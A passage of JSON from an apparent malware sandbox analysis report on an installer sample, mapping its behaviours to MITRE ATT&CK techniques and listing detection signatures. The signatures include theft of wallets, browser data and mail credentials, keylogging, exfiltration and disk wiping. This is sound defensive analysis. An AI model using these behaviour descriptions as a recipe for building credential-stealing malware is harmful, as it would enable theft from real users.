zone"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Sets a computer-based training (CBT) hook"},{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"suspicious","value":"Calls an API typically used to retrieve configuration of a workstation"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Imports windows networking related APIs"},{"type":"malicious","value":"Contains ability to discover network shares"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Found named pipe-like string used by malware"},{"type":"informative","value":"Calls an API typically used to move file or directory"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"suspicious","value":"Contains ability to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Impact","technique":"Disk Content Wipe","attack_id":"T1561.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1561/001","identifiers":[{"type":"informative","value":"Contains ability to format disks"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"Queries COM task scheduler class object"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Persistence","technique":"Bootkit","attack_id":"T1542.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1542/003","identifiers":[{"type":"malicious","value":"Interacts with the primary disk partition (DR0)"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"PCAP contains base64 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"suspicious","value":"Sends UDP traffic"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$22","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$23","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"InstallSetup9.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nsmE8FF.tmp\\ (UID: 00000000-00008576)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$24","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 